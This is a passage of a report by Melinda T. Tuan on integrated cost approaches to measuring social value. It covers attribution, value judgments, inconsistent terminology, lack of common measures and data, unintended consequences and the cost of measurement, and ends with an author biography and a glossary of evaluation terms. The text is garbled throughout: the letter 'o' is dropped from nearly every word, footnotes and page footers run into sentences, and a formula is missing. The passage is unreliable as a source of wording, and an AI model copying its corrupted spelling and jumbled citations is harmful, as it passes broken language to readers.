17 Only ne apprach, the imprved SROI Framewrk, tries t address the issue f interdependencies 22 in its methdlgy. The methdlgy incrprates interviews with varius stakehlders invlved with a single interventin (e.g. funders, the gvernment and ther nnprfits addressing the same r related issue, etc.) t understand hw their effrts are related t that interventin. The methdlgy then instructs the practitiner t assign a certain share f the prjected scial return n investment t the interventin based n that feedback. But this methd f estimating interdependencies is just that an estimate. Ultimately, determining what prprtin f an bserved change is due t the activities f a single rganizatin is methdlgically challenging given the cmplexity f change and the difficulty f determining what wuld have happened any way Value judgments Classical cst-effectiveness analysis and cst-benefit analysis (and therefre any apprach that incrprates these methdlgies) d nt currently incrprate a cnsistent apprach t dealing with value judgments. Each study reflects the values f the researcher as t hw the csts and benefits are distributed amng stakehlders and hw the varius utcmes are valued. One value judgment has t d with the value f a life. Fr example, in using DALYs and QALYs in healthcare, shuld ne weight the value f a thirty-year ld s life saved r imprved mre than that f a 70-year ld? Anther value judgment is that f distributin. One can argue that an additinal dllar t a pr persn is wrth mre than an additinal dllar t a wealthy persn, but hw much mre? There are many ther types f value judgments which are embedded in each methdlgy (e.g. deciding whether x utcme is really a benefit t persn y) and these all influence the results f the analyses. 22 nef refers t interdependencies as share f utcme r attributin in its reprt Scial Return n Investment: Valuing What Matters. Findings and Evaluatin frm a Pilt Study Schlten, Peter, Jeremy Nichlls, Sara Olsen, Brett Galimidi. Scial Return n Investment: A Guide t SROI Analysis. Lenthe Publishers, Melinda T. Tuan 17
18 5. BIG PICTURE ISSUES All f these technical limitatins and issues pint t the bigger picture issues invlved with implementing integrated cst appraches t measuring and/r estimating scial value, namely: the incnsistent use f language the lack f cmmn measures in the scial sectr the lack f quality data n scial impacts, utcmes, utputs, and cst the lack f incentives fr transparency unintended cnsequences inadequate utilizatin the cst f measurement 5.1. Incnsistent Use f Language There is currently n standard lexicn fr the scial impact measurement field. This results in a situatin where a variety f terms are used, smetimes imprecisely, t refer t the methds in the general class f cst and utcme analyses, including benefit-cst analysis and cst-effectiveness, amng thers. 23 Acrss the eight rganizatins and appraches prfiled fr this paper, we fund a wide spectrum f uses and definitins fr the same wrds and fund different wrds being used t describe the same calculatin r result. This lack f cnsistency in the use f language is a manifestatin f the nascent stage f the field f scial prgram evaluatin in the scial sectr. It als presents a significant challenge t thse lking t cmpare and cntrast methdlgies and results between varius rganizatins and prgrams. In particular, the wrds utcme and impact were used by multiple rganizatins t describe utputs in their methdlgies and calculatins. Fr example, Acumen Fund writes abut its BACO Rati as a rati f cst per utcme r cst per scial impact, 24 but as Brian Trelstad, Chief Investment Officer fr Acumen explained, The BACO is based slidly n utputs we dn t have the resurces t prve utcmes s we fcus n the clearest set f utputs, and even then there is little reliable infrmatin n the utput side. 25 Several rganizatins used different wrds r phrases t describe the same cncept f the calculatin f a philanthrpy s r nnprfit s share f the results f an interventin. In Rbin Hd s case, Weinstein described their estimatin f the Rbin Hd Factr as an assessment f prprtinality. After all, Rbin Hd s impact is nt always prprtinal t ur grant. Fr example, there are prgrams t which we give relatively small amunts f mney (as a percentage f a grantee s 23 Acumen Fund. Acumen Fund Cncept Paper: The Best Available Charitable Optin (BACO). (Draft). 1/24/ Trelstad, Brian. Re: Acumen Fund Best Available Charitable Optins (BACO) and Prtfli Data Management System (PDMS) t Melinda Tuan, 30 April Melinda T. Tuan 18
19 ttal budget) but which wuld cllapse entirely if we withdrew ur mney. 26 In talking abut the same cncept, the Hewlett Fundatin described their estimatin f the philanthrpy s cntributin which is calculated by cmbining the percentage f an individual philanthrpic rganizatin s cntributin relative t the verall philanthrpic cntributin needed t achieve the utcme and hw essential the philanthrpy s investment is t achieving the utcme. 27 In a different applicatin, nef used share f utcme r attributin t describe an effrt t measure the interdependencies the prprtin f a prgram s success truly attributable t the rganizatin s interventin in cases where utcmes are influenced by ther rganizatins and factrs and especially where the stakehlders bjectives can nly be achieved thrugh the cmbined effrts f mre than ne rganizatin. 28 At first glance, hwever, it can appear that nef s share f utcme is referring t the same kind f calculatin as Hewlett s philanthrpy s cntributin and Rbin Hd s Rbin Hd Factr. These are just a few examples which highlight the challenges invlved with researching, replicating, r even discussing these varius appraches t integrating cst int measuring and/r estimating scial value in the absence f a cmmn lexicn and language Lack f Cmmn Measures in the Scial Sectr Very few cmmn measures are currently being used t evaluate scial impact in the scial sectr, whether within a prgram area r acrss prgram areas. As Karly nted in her study f 39 scial prgrams with prven effectiveness and rigrus evaluatins, The use f the cst-benefit framewrk t evaluate scial prgrams requires the ability t place a value n the utcmes affected by the prgram. Ideally, such values wuld be attached t all utcmes and applied in a cnsistent manner acrss prgrams s results can be cmpared. Our review highlights the diverse array f utcmes affected by these prgrams Even prgrams that have a cmmn bjective (e.g., early childhd interventin) d nt necessarily incrprate cmmn measures int the evaluatins. 29 Karly explained that withut cmmn measures, yu can t make the argument that yu shuld invest in prgram x vs. prgram y because the utcmes are different. It s really a prblem f apples t ranges. 30 Even the very best methdlgy cannt cmpensate fr the lack f cmmn measures, as each interventin is measuring its results differently. Of the eight methdlgies we prfiled, nly ne rganizatin is cllecting cmmn measures acrss its entire prtfli f investments: REDF. Nt cincidentally, REDF has always had a prtfli made up f less than 20 rganizatins in the same grantmaking area: supprted emplyment thrugh scial enterprises. Karly argues 26 Weinstein, Michael. Re: Rbin Hd Fundatin Benefit-Cst Rati and Integrated Cst Appraches t Measuring Scial Impact t Melinda Tuan, 23 April Redstne Strategy Grup, LLC. Making Every Dllar Cunt: Hw Expected Return Can Transfrm Philanthrpy. April 10, The New Ecnmics Fundatin. Measuring Real Value: A DIY Guide t Scial Return n Investment. p Karly, Lynn A. Valuing Benefits in Benefit-Cst Studies f Scial Prgrams. RAND, p Karly, Lynn A. Re: Cst-Benefit Studies f Scial Prgrams t Melinda Tuan, 20 and 21 May Melinda T. Tuan 19
20 fr a set f guidelines that researchers wuld fllw t build a mre cnsistent cstbenefit research methdlgy, including the establishment f cmmn measures by prgram area. The health field is the ne area which stands ut in its use f cmmn measures, namely DALYs and QALYs, which then allws fr cmparisn f csteffectiveness ratis f all health interventins. Mst peple agree that the lack f cmmn measures within prgram areas limits the ability t cmpare results acrss prgram areas. Fr example, Cst effectiveness in the field f educatin is far behind what they ve dne in health. If we were t define ne magic rati r measure in a unifrm way acrss bth educatin and health we d have t water dwn all these great things we knw in health t accmmdate the immaturity in educatin evaluatin 31 explained Hilary Rhdes, Research Fellw, U.S. Educatin at CHIP. And, despite the maturity f measuring results in the health field, many f the technical issues discussed earlier present challenges and limitatins t hw CEA is being used in the health field. Fr example, there are cntinued debates abut which csts shuld be included and varying pinins n which f the differing value judgments (e.g. age weighting, distributin) shuld be embedded in varius analyses. 32 Susan Stut, recently retired Manager f the Wrld Bank s Results Secretariat, summed it up this way: cmparing results acrss prgram areas is pssible nly if we are willing t d the analytics t translate any result (utput r utcme) int a dllar (r yuan r eur) value. While DALYs mve the health field significantly frward t getting everyne t cnsider cst effectiveness they d nt extend t ther fields very well, which makes the really interesting cmparative judgments especially difficult Lack f Quality Data n Impacts, Outcmes, Outputs, and Csts Anther significant issue in measuring and/r estimating scial value, beynd the lack f cmmn measures, is the lack f quality data fr these measures verall. Karly cmmented n this issue in her bk chapter n hw t cnduct a cstbenefit analysis: The analyst must use creativity and infrmed guesswrk rarely will there be enugh data f high enugh quality that all entries (f csts and benefits) can be estimated with high cnfidence. Large blcks f entries may need t be based n educated guesswrk if they are nt t be left entirely blank. Of curse this affects the reliability f the analysis, but in ur view, it shuld nt be taken as an excuse t abandn analysis altgether. 34 In cnversatins with the designers f the eight appraches prfiled in this paper, the issue f the pr quality r ttal lack f data fr impacts, utcmes, utputs, and 31 Stut, Susan. Re: Perspectives n Cst-Benefit Analysis and Cst-Effectiveness Analysis in Glbal Health cmmunicatin t Philip Setel, Apr. 15. Melinda T. Tuan 20
21 cst and the implicatins fr their methdlgies arse multiple times. Kat Rsqueta, Executive Directr f CHIP described the prblem as fllws: The framewrk is sphisticated but the level f infrmatin t put int the framewrk is nt. When yu see hw there are layers and layers f garbage in, yu re ging t get garbage ut, n matter what the calculatin is. And then yu have t questin the usefulness f that calculatin. 35 CHIP s difficulties in btaining reliable cst infrmatin fr its Cst per Impact calculatins are reflected in Acumen Fund s challenges in btaining reliable infrmatin n scial utputs (nt t mentin utcmes) fr its prjected BACO Ratis. nef s Jeremy Nichlls lamented the lack f scial impact data saying smetimes the data just isn t there fr cntrl grups r cmparisn grups. Yu d think there wuld be sme system-wide result r benchmark fr results but there isn t. Until the quality f available scial impact, utcme, utput, and cst data imprves significantly, it will cntinue t be very difficult t measure scial value creatin with any degree f fidelity Lack f Incentives fr Transparency Even if the sectr was able t prduce quality data n scial utputs, utcmes, impact and cst, the questin remains whether there are any incentives fr philanthrpic and nnprfit rganizatins t share this infrmatin in a transparent fashin. As Trelstad nted, There is a fear f failure in the scial sectr. There may be a difference between hw endwed institutins versus thse wh have t g ut and raise it view this; but it s nt clear what incentives we have t shw ur lsers t ur dnrs. 36 Trelstad added that if the scial sectr is able t generate high quality data t allw analyses and cmparisns f rganizatins r prgrams based n their csteffectiveness there will be clear winners and lsers based n these analyses. Withut prper incentives fr rganizatins t be transparent abut their data, whether gd r bad, the prer results will likely be buried and nly the gd results shwcased t the detriment f the scial sectr as a whle Unintended Cnsequences A ppular adage states: Yu get what yu measure. Hwever, the challenge is: what yu measure may nt be what yu intended. It is imprtant t be aware f r try t predict the ptential unintended cnsequences f any effrt t integrate cst int measuring and/r estimating scial value. The very nature f unintended cnsequences is that they are ften unexpected which means it is difficult t plan fr them in advance. The prfiled rganizatins experienced a cuple cnsequences that that are wrth mentining fr future reference. One ptential unintended cnsequence is that nnprfits may try t game whatever scial value measurement system the funding rganizatin develps. In at least ne f the prfiled appraches, grantees f the funding rganizatin have been knwn t cherry-pick the prgrams they present t the fundatin fr funding. 35 Trelstad, Brian. Measuring and/r Estimating Scial Value Creatin Meeting, Bill & Melinda Gates Fundatin, Seattle, Octber 20-21, Melinda T. Tuan 21
22 Knwing the methds by which the funder calculates its scial value ratis, the nnprfits pick the prgrams that address the easiest-t-serve ppulatins which are mre likely t generate higher scres and therefre secure cntinued funding. Anther unintended cnsequence is that quantitative metrics will becme the sle fcus fr measuring scial value creatin, t the exclusin f qualitative analyses. Jed Emersn cautined, The metrics must be understd in the cntext f the narrative. It needs t be abut judgment, analysis and perspective, nt just the data. Emersn cmpared measuring scial value creatin t the light spectrum: The metrics are the visible light; the qualitative analyses are the gamma rays and ultravilet rays which are nt visible t the naked eye. N ne wuld argue that gamma and ultravilent rays d nt exist r are nt relevant, just because yu can t see them as easily. 37 Similarly, the scial sectr shuld nt lse perspective n the spectrum f measures fr value creatin, including bth quantitative and qualitative results. A third unintended cnsequence is the reality that any measurement effrt is an interventin in and f itself bth within a fundatin and with its grantees. Whatever a fundatin decides t emphasize in terms f hw t measure its scial impact will change the way fundatin staff think and act regarding the selectin f prgrams and rganizatins. Fundatin grantees that are evaluated thrugh a new measurement framewrk will als change in respnse, smetimes fr the better, smetimes fr the wrse as mentined earlier Inadequate Utilizatin In ur review f these appraches t integrating cst int measuring and/r estimating scial value creatin, it is clear that great effrt has been put int the develpment f each methdlgy. What is nt clear is whether these methdlgies are being used as riginally intended. It appears that in at least several cases, there is a great distance between the thery and practice. Several f the utilizatin issues are related t the technical and big picture issues discussed earlier. Cst-benefit analysis verall is intended t be used t cmpare ne prgram versus anther prgram. Hwever, due t the lack f cmmn, quality data, such cmparisns are inapprpriate. CHIP is encuntering similar challenges in develping its Cst per Impact methdlgy because f a lack f quality cst data. Additinally, it remains t be seen whether philanthrpists respnd well t CHIP s calculatins f Cst per Impact as their methdlgy is still being develped and tested. In ther cases, the rganizatin s methdlgy is described as essential t infrming decisins, yet in reality it appears that the methdlgy plays primarily a prmtinal rle fr the rganizatin. The results demnstrate t funders and bards f directrs that elegant analyses are being cnducted but the results are nt necessarily being used t infrm nging practice. Fr example, many f the rganizatins use methdlgies which invlve making multiple assumptins in rder t prject the future benefits f a particular investment decisin. Very few f the rganizatins have re-assessed thse 37 Emersn, Jed. Measuring and/r Estimating Scial Value Creatin Meeting, Bill & Melinda Gates Fundatin, Seattle, Octber 20-21, Melinda T. Tuan 22
23 assumptins n an annual basis due t the relative newness f the methdlgies, limited time and resurces, and in sme cases, lack f interest. This means that the assumptins in these methdlgies are nt being tested n an nging basis. And if the assumptins aren t being tested r adjusted, they will have little influence in infrming the develpment f mre accurate assumptins and calculatins. It is irnic that the utcmes f these methdlgies are nt ften being used t infrm the nging practice f using the same methdlgies. This may then lead t pr investment chices in the future. 5.7 Cst f Measurement Measuring data scial utputs, utcmes, impacts, and csts requires a lt f resurces. Cllecting and analyzing data can be very expensive and this expense is ften brne by the grantees f fundatins that require such data. Typically, nnprfits have limited time and mney t pursue activities utside f their missinbased prgramming. Additinally, mst nnprfits d nt have the administrative depth r expertise t track scial utcme and cst data. Ideally, funders will include the cst f data cllectin in their grants t funded nnprfit rganizatins. Hwever, even thugh in several cases, the funder tk n the majrity f the financial burden t implement the scial value measurement methdlgy (e.g. hiring third-party cnsultants t track the data, prviding grants fr infrmatin systems infrastructure), the prcess still required a significant investment f time frm the funded nnprfits. In a cuple cases, the funder underestimated the csts f measurement t bth the fundatin and grantees, as actual csts far exceeded riginal prjectins fr the evaluatin effrts. There is a cst/benefit t implementing any integrated cst methd fr measuring and/r estimating scial value. In REDF s case, the bard and senir management cncluded that their time and resurces, and that f their prtfli members, were better invested in tracking the individual scial utcmes f the prtfli enterprises than cntinuing t calculate returns t sciety as a whle thrugh its SROI framewrk. Frm inceptin, the intentin f REDF s SROI was never t cmpare the individual investments but rather argue fr the merits f investing in the prtfli f scial enterprise rganizatins and the field f scial enterprise as a whle. Hwever, when SROI was presented in its final frm t REDF s primary funder, Gerge R. Rberts, he asked whether the SROI results had changed the management team s investment decisins fr the prtfli. When the team respnded that it didn t change any f their decisins, and as the riginal intent was nt t use SROI t decide upn specific investments, Rberts suggested they discntinue calculating SROI metrics and instead fcus n cllecting and analyzing data that wuld infrm their nging investment decisins Emersn, Jed. Re: REDF s SROI t Melinda Tuan, 4 December Melinda T. Tuan 23
24 6. SUMMARY OF ISSUES AND IMPLICATIONS FOR THE SOCIAL SECTOR Five summary pints regarding the eight integrated cst appraches t measuring and/r estimating scial value creatin are wrth recunting: 1) Integrated cst appraches t measuring and/r estimating scial value are still in the nascent stages f develpment due t the lack f maturity in the field f scial prgram evaluatin. 2) The eight appraches prfiled represent a variety f philsphical purpses fr blending csts and scial utputs, utcmes, r impacts: internal decisinmaking crss prtflis, internal decisin-making within prtflis, and general prmtin and field building. They als serve varying practical purpses: making prspective investment decisins, infrming nging practice, and retrspectively evaluating philanthrpic investment decisins. 3) There is n perfect r precise slutin. Each methd has its strengths and weaknesses, and n single methd has been widely adpted thrughut the scial sectr. 4) There are many unreslved technical and big picture issues embedded in the methdlgies which determine the distance between the thery and the practice and affect verall utilizatin. 5) The lack f a cmmn language, cmmn measures, quality data, and incentives fr transparency represent key limitatins fr the utilizatin f any effrts t integrate cst int measuring and/r estimating scial value. In mving frward, it is essential fr the scial sectr t be very clear abut the purpse and benefit f creating and implementing an integrated cst apprach t measuring scial value; and the implicatins f pursuing any such apprach. In particular, it is imprtant t be mindful f the fllwing dangers: 1) The lure f false precisin: In reviewing all the detailed and smetimes quite cmplicated methdlgies, it can be easy t be cnvinced f the certainty f the results f these seemingly precise calculatins. 2) The desire fr a silver bullet: It is tempting t fcus n a single numeric t indicate whether an investment is successful r nt. Hwever, scial value metrics shuld be interpreted in their greater cntext in rder t make the best investment decisins. 3) The risk f cherry-picking: Cst-benefit metrics may verwhelmingly indicate that ne interventin shuld be favred ver anther. Yet smetimes the prblems that are the mst cst-effective t slve d nt end up fcusing n the neediest r hardest t serve ppulatins. It is crucial t nte that any high-fidelity apprach the scial sectr develps t integrate csts int measuring scial value will be limited by and directly affected by the sectr s ability t prduce high quality data. Ultimately, the sectr s largest effrts will nt be abut chsing the right mdel r methd. Rather, the mst significant effrt will invlve getting the right data t make whichever mdel r methdlgy a fundatin r nnprfit rganizatin chses useful. Withut high quality data, any practitiner s results will be based n ne assumptin after anther Melinda T. Tuan 24
25 r layers and layers f garbage. If the scial sectr is interested in creating mre precise, meaningful appraches t measuring and/r estimating scial value, fundatins will need t invest in increasing the quality f the scial and cst data infrastructure acrss the varius prgram areas represented in the scial sectr. Lastly, it is imprtant t emphasize that any data, high quality r nt; and any mdel fr analyzing data, high fidelity r nt, are subject t interpretatin. The same data can be interpreted by different peple and rganizatins t reach diametrically ppsed cnclusins. The true value f high quality data and analyses f any integrated cst apprach t measuring and/r estimating scial value creatin will be t stimulate high quality cnversatins abut the implicatins. In clsing, there are tw imprtant questins fr the scial sectr t cnsider in light f the lessns learned and insights frm the prfiled prmising practices fr integrating cst int measuring and/r estimating scial value: 1) What is the primary purpse fr the scial sectr t pursue an integrated cst apprach t measuring and/r estimating scial value? and, 2) What will the sectr d with the resulting infrmatin? Melinda T. Tuan 25
26 7. AUTHORSHIP AND RESEARCH CREDITS This reprt was written and researched by Melinda T. Tuan. Melinda is an independent cnsultant wh wrks with the senir leadership f philanthrpic rganizatins t research and create cntent regarding strategies fr thughtful and effective philanthrpy. In additin t her current wrk with the Bill & Melinda Gates Fundatin, Melinda recently cmpleted fur years as a Senir Fellw with Rckefeller Philanthrpy Advisrs and tw years as a Special Advisr t Bridgestar/The Bridgespan Grup. Other recent clients include Grantmakers fr Effective Organizatins and the Eagles Yuth Partnership, the philanthrpic arm f the Philadelphia Eagles Ftball Team. Previusly, Melinda c-funded and managed REDF (frmerly The Rberts Enterprise Develpment Fund) with Jed Emersn and Gerge Rberts f KKR. REDF is a scial venture capital fund that wrks with a prtfli f nnprfit rganizatins emplying frmerly hmeless and lw-incme individuals in market-based business ventures. While at REDF, Melinda invested in a prtfli f fifteen nnprfit rganizatins running ver thirty different businesses emplying ver 2,000 frmerly hmeless and lw-incme individuals ver a seven-year perid. In additin, she crdinated the design and develpment prcess fr REDF s scial return n investment (SROI) framewrk which was architected by Jed Emersn, and managed the develpment f REDF s nging assessment f scial impacts (OASIS). Prir t REDF, Melinda was a manager at a natinal healthcare nnprfit and a management cnsultant specializing in grwth strategies fr Frtune 500 cmpanies. Melinda has vlunteered with numerus cmmunity-based rganizatins in Hnlulu, Bstn, and the San Francisc Bay Area that serve hmeless and very lw-incme ppulatins. Additinally, she c-funded Bstn Cares, a nnprfit vlunteer service rganizatin, and was invlved in the start-up f a scial-missin driven cmpany called Dayspring Technlgies in San Francisc. Melinda is recgnized natinally fr her wrk in high engagement philanthrpy, fundatin effectiveness, evaluatin, nnprfit capacity-building, and scial enterprise. She has lectured at leading business schls in the cuntry including Stanfrd and Whartn, and published articles, business schl cases, and a bk chapter entitled Cultivating a Culture f Measurement in Funding Effectiveness by Grantmakers fr Effective Organizatins. Melinda currently serves n the Bard f Managers fr Evergreen Ldge, a scial-purpse destinatin resrt lcated just utside Ysemite Natinal Park, and the Advisry Cuncil fr REDF. Melinda graduated frm Harvard University magna cum laude with an AB in Scial Studies fcusing n urban pverty and hmelessness and she hlds an MBA and certificate in nnprfit management frm the Stanfrd Graduate Schl f Business. She resides in Narberth, Pennsylvania with her husband and three children. Melinda T. Tuan 26
27 APPENDIX A: GLOSSARY OF TERMS Assumptins: What yu have t believe t be true in rder t have cnfidence in X a belief. Baseline: A state f the wrld withut the prgram that can be cmpared t the wrld with the prgram in place. 39 Benefit-Cst Rati: One f tw cmmn ways t cmpare the benefits and csts f an interventin. Dividing the mnetized benefits by the mnetized csts yields a benefit-cst rati. A rati f greater than ne means the benefit is greater than the cst and a rati f less than ne means the cst is greater than the benefit. Causal Effects/Causality: The full range f tangible and intangible utcmes that may be affected by the prgram. These utcmes are ideally captured in a welldesigned and well-implemented randmized experimental design evaluatin, where members f the target ppulatin fr the prgram are randmly assigned t participate r nt participate in the prgram. The difference in utcmes between the tw grups can be calculated as the impact caused by the prgram. Cmmn Measures: Standard measures f impact (utcmes) that can be used acrss a variety f prgrams in a field f study (e.g. IQ scres fr children within the field f educatin). Cst Analysis: Generates a measure f the prgram cst based n a cmprehensive measurement f the ecnmic value f the resurces required fr prgram implementatin. 40 Cst-Benefit Analysis (CBA): Takes the perspective f sciety as a whle and cnsiders the csts and dllar-valued utcmes aggregated acrss all stakehlders (gvernment sectr r individuals as taxpayers, prgram participants r private individuals, the rest f sciety). The utput frm cst-benefit analysis can be measures f net benefits (benefits csts), the rati f benefits t cst (benefit-cst ratis), r the internal rate f return (the rate f grwth a prject is expected t generate). By requiring cmprehensive measurement f csts and prgram impacts, and the ability t place a dllar value n prgram impacts acrss stakehlders, CBA is the mst demanding f the cst and utcme analysis appraches. At the same time, it is als the mst cmprehensive in prviding a full accunting f the net benefits t sciety as a whle, as well as varius stakehlders. 41 Using educatin as an example, ne wuld calculate the mnetary value f having an educated child (e.g. measured in terms f human capital r increased ecnmic prductivity) minus the cst f educating the child. The units fr CBA are simply 39 Ibid. Melinda T. Tuan 27
28 dllars (r eurs, r yen), nt a rati. In an ideal wrld, CBA allws ne t cmpare apples t ranges in that everything is mnetized. Cst-Effectiveness Analysis (CEA): The calculatin f a rati f cst t a nnmnetary benefit. The fcus may be n ne dmain f impact (e.g. crime, student achievement) r multiple areas f impact. Hwever, measures f cst-effectiveness can nly accunt fr ne area f prgram impact at a time. Since prgram impacts are measured in natural units (e.g. life year saved, child graduating frm high schl), unless thse units are cmmn acrss all areas f impact, it is nt pssible t aggregate acrss them. 42 The units fr CEA are ratis (cst per smething). Fr example: cst per quality-adjusted life year (QALY) r disability-adjusted life year (DALY) cst per persn cured f malaria cst per child educated fr ne additinal year cst per autmbile accident avided It is cmmn t invert the rati, calculating the cst per unit f benefit purchased. Fr instance, health care prgrams are ften evaluated in terms f the cst per QALY saved. In thse cases, smaller numbers indicate mre efficient prgrams. The csteffectiveness rati fr a single prgram is ften difficult t interpret withut knwing the cntext, but if ne calculates the cst-effectiveness rati fr each available interventin, the ne with the highest rati is the preferred place t invest the next dllars. (If the ratis are cmputed in terms f cst per unit benefit, nt benefit per unit cst, then the interventin with the smallest rati wuld be preferred). 43 Cst Savings Analysis: A term smetimes used t refer t a cst-benefit analysis dne frm the perspective f the gvernment generally r a particular gvernment agency. It cmpares nly the csts t gvernment fr prgram implementatin and the savings (r csts) t gvernment generated frm a prgram and its assciated prgram impacts. Cst savings analysis is used when asking questins such as whether the benefits f a prgram t gvernment pay back the csts taxpayers invested in the prgram. 44 Cst savings analysis values all prgram impacts in dllars. The utput frm cst-savings can be measures f net savings (savings cst), the rati f savings (savings-cst ratis), r the internal rate f return. 45 While this term is used in the vernacular t mean many things, Cst Savings Analysis is a technical term used by ecnmists t evaluate the benefits f public funding streams. 42 Karly, Lynn A. Valuing Benefits in Benefit-Cst Studies f Scial Prgrams. RAND, 2008, p Ibid. 44 Melinda T. Tuan 28
29 Table 1.1 Types f Cst and Outcme Analysis and Assciated Infrmatin Requirements 46 Type f Analysis Outcme f Analysis Infrmatin Requirement Cst Cst f Prgram Cmprehensive measure f prgram csts Cst-effectiveness Measure f cst per unit change in a specific Cmprehensive measure f prgram csts utcme, value fr ne impact at a time Measures f prgram impacts in natural units Cst-savings Cst-benefit Measure f net savings t gvernment, inclusive f all impacts Measure f rati f gvernment savings t csts Measure f internal rate f return t gvernment Measure f net benefit t sciety, inclusive f all impacts 47 Measure f rati f benefits t csts Measure f rate f return t sciety Cmprehensive measure f prgram csts, specific t gvernment sectr Measures f prgram impacts at each pint in time in natural units Shadw prices t value all utcmes in dllars, specific t gvernment sectr Cmprehensive measure f prgram csts at each pint in time, in aggregate and specific t varius stakehlders Measures f prgram impacts at each pint in time in natural units Shadw prices t value all utcmes in dllars, in aggregate and specific t varius stakehlders Cst-Utility Analyses: A type f cst-effectiveness analysis where utcmes include a quality f life cmpnent (e.g. QALYS, DALYS). Disability-Adjusted Life Year (DALY): The DALY relies n an acceptance that the mst apprpriate measure f the effects f chrnic illness is time, bth time lst due t premature death and time spent disabled by disease. One DALY, therefre, is equal t ne year f healthy life lst. 48 When calculated, the DALY is the number f years f life lst due t premature death (cmpared t a standard life expectancy) plus the years f life lived in a state f less than full health. 49 The principal difference between QALYs and DALYs is that QALY weightings are derived by asking patients t rate their health status whereas in DALYs the weightings are derived by asking 46 Karly, Lynn A. Valuing Benefits in Benefit-Cst Studies f Scial Prgrams. RAND, 2008, p When csts and/r benefits accrue ver multiple time perids, the dllar streams are discunted t reflect the time value f mney. Thus, the relevant utcme is net present value savings r benefit. 48 Wikipedia. 49 Melinda T. Tuan 29
30 health experts r the general public t rate a whle series f health states (e.g. if ne lst a limb, became blind, was cnfined t a wheelchair.) 50 Discunting: The practice f weighing r valuing utcmes that ccur sner mre than utcmes that are delayed. It is bvius why this shuld be s with mney. One wuld rather have $1,000 tday than $1,000 next year, because if a persn had $1,000 tday he r she culd invest it and have mre than $1,000 next year. The same lgic f discunting r applying time preferences can be applied t nnmnetary utcmes, and at the same rate. 51 Discunt Rate: The discunt rate is a financial metric that may be used t determine the present value f future payments r expenditures. 52 Expected Value: A term used by mathematicians t represent the average amunt ne "expects" as the utcme f the randm trial when identical dds are repeated many times. The value itself may nt be expected in the general sense the "expected value" itself may be unlikely r even impssible. 53 Fr example, peple buying a lttery ticket that has a 1/10,000 chance f paying $10,000 can expect t get zer since that is verwhelmingly the likely utcme. They can be certain they wn't get $1. But the expected value f their winnings is $1. 54 Nte: this definitin f expected value is different frm hw Hewlett Fundatin describes its methdlgy which is named Expected Value. Impacts: The lng-term sustainable and smetimes attributable change due t a specific interventin r set f interventins. Interdependence/Interdependencies: The idea that the utcmes f ne r a series f interventins are dependent n ther interventins. Fr example, the utcme f imprved high schl graduatin rates thrugh a peer tutring prgram is dependent in part n the level f functin f the family in which the student resides. In rder t see change in X yu wuld als need t see change in Y. Internal Rate f Return: IRR is a strictly (theretical) mathematical frmula and is ne f the many ways return n investment (ROI) can be measured. One can think f IRR as the rate f grwth a prject is expected t generate. In the fllwing equatin, ne wuld calculate the IRR by slving fr r where the net present value (NPV) f the investment equals 0 and I is the prjected cash flw in year 0, 1, 2, etc Wikipedia. 53 Ibid. 54 Melinda T. Tuan 30
31 IRR is ften used in capital budgeting and primarily shws the value anther investment wuld need t generate in rder t be equivalent t the cash flws f the investments being cnsidered. IRR illustrates verall returns in clear percentage terms and is great fr cmparing prject returns head t head. Generally speaking, the higher a prject's internal rate f return, the mre desirable it is t undertake the prject. As such, IRR can be used t rank several prspective prjects a firm is cnsidering. Assuming all ther factrs are equal amng the varius prjects, the prject with the highest IRR wuld prbably be cnsidered the best and undertaken first. 55 Hwever, IRR des nt indicate the cmparative level f investment required upfrnt r the verall dllar f returns. 56 Inputs: The resurces used t run the prgram: the mney, peple, facilities, and equipment. Natural Unit: Natural units are utcmes measured in nn-mnetary terms. They are typically used in cst-effectiveness analysis as the denminatr f the csteffectiveness rati (cst per natural unit x). Examples f natural units include life year saved and child graduating frm high schl. Natural units are nt necessarily als cmmn measures. Net Present Value: One f tw cmmn ways t cmpare benefits and csts by lking at their difference. Subtracting mnetized csts frm mnetized benefits yields the net value. Because discunting is ften invlved, this is mst ften called the net present value, r NPV. Net Value: (see Net Present Value ) Outcmes: The changes that ccur ver time fllwing an interventin r set f interventins. Outcmes can be measured at a variety f levels: individual, rganizatinal, cmmunity, system, funding stream, etc... Outcmes may be direct r indirect. Direct utcmes fllw frm the utputs (e.g. getting a jb) and indirect utcmes fllw frm the direct utcmes (e.g. increase in incme due t the jb gained). Outputs: The direct and tangible prducts frm the activity (e.g. the number f peple trained). Payback Perid: The length f time a prgram must remain in peratin t recup the initial investment. 57 Present Value: The value tday f an amunt f mney in the future. 58 The idea is that given a discunt rate (e.g. 4%); ne shuld feel the same abut receiving $57,700 tday and receiving $20,000 at the end f each f the next three years. In 55 Investpedia. 56 Pisell, Tm. What s the Difference Between NPV and IRR? [Available Online] 57 Karly, Lynn A., M. Rebecca Kilburn, James H. Bigelw, Jnathan P. Caulkins, Jill S. Cannn. Assessing Csts and Benefits f Early Childhd Interventin Prgrams: Overview and Applicatins t the Starting Early, Starting Smart Prgram. RAND, [Available Online] p Hendersn, David R. The Cncise Encyclpedia f Ecnmics. [Available Online] Melinda T. Tuan 31
32 terms f nn-mnetary utcmes, ne culd discunt 100 emergency rm visits per year fr the next three years by the same rate t get a present value f 289 visits. 59 Quality-Adjusted Life Year (QALY): A single measure f health utcme that simultaneusly captures gains frm reduced mrbidity (quality f life gains) and reduced mrtality (quantity f life gains). 60 QALYs are calculated by multiplying the number f years f life that wuld be added by the interventin by the imprvement in quality f life frm that interventin (measured n a scale between 0 and 1 where 1 is a state f full health and 0 is the wrst pssible health state). The principal difference between QALYs and DALYs is that QALY weightings are derived frm asking patients t rate their health status whereas in DALYs the weightings are derived by asking health experts r the general public t rate a whle series f health states (e.g. if ne lst a limb, became blind, was cnfined t a wheelchair.) 61 Quasi-Experimental Designs: Evaluatin research that includes a cmparisn r cntrl grup chsen n the basis f matched characteristics but nt randm assignment. 62 Quasi-experimental design evaluatins are cnsidered t deliver smewhat less certainty than results frm randmized experimental design evaluatins, but mre certainty than pre-pst evaluatins. This methd is used when finding randmly assigned grups is nt pssible r apprpriate. Randmized Experimental Designs: Evaluatin research cnducted whereby the cntrl and treatment grups are as similar as pssible except fr participatin in the prgram. In experimental evaluatins, individuals are randmly assigned t the cntrl grup (i.e., the grup that receives n new prgram services r faces the status qu) r the treatment grup (i.e., the grup that receives the prgram services r faces the plicy alternative). Thus, any differences can be attributed t the impact f the prgram r plicy. 63 Return n Investment (ROI) and Rate f Return (ROR): In finance, rate f return (ROR) r return n investment (ROI), r smetimes just return, is the rati f mney gained r lst n an investment relative t the amunt f mney invested. ROI is usually given as 